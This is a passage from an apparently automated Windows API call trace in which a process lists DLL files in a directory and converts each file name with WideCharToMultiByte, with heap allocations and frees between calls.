0x1efc120 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.920] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.921] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x1efc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.921] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x1efc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.921] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.921] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.921] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x1efc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.922] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x1efc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.922] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.922] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x1efc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0260.922] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.923] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1efc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.923] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1efc120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0260.923] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.923] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.924] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1efc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.924] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1efc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.924] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.924] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.924] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1efc288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.925] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1efc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.925] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc288 [0260.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0260.925] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc288) returned 1 [0260.925] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efc120) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe950) returned 1 [0260.926] RtlFreeHeap (HeapHandle=0x1ef0000, Flags=0x0, BaseAddress=0x1efe8c8) returned 1 [0260.926] FindNextFileW (in: hFindFile=0x5825e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77c3f5d1, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe8c8 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x80) returned 0x1efe950 [0260.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0260.926] RtlAllocateHeap (HeapHandle=0x1ef0000, Flags=0x8, Size=0x40) returned 0x1efc120 [0260.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x1efc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 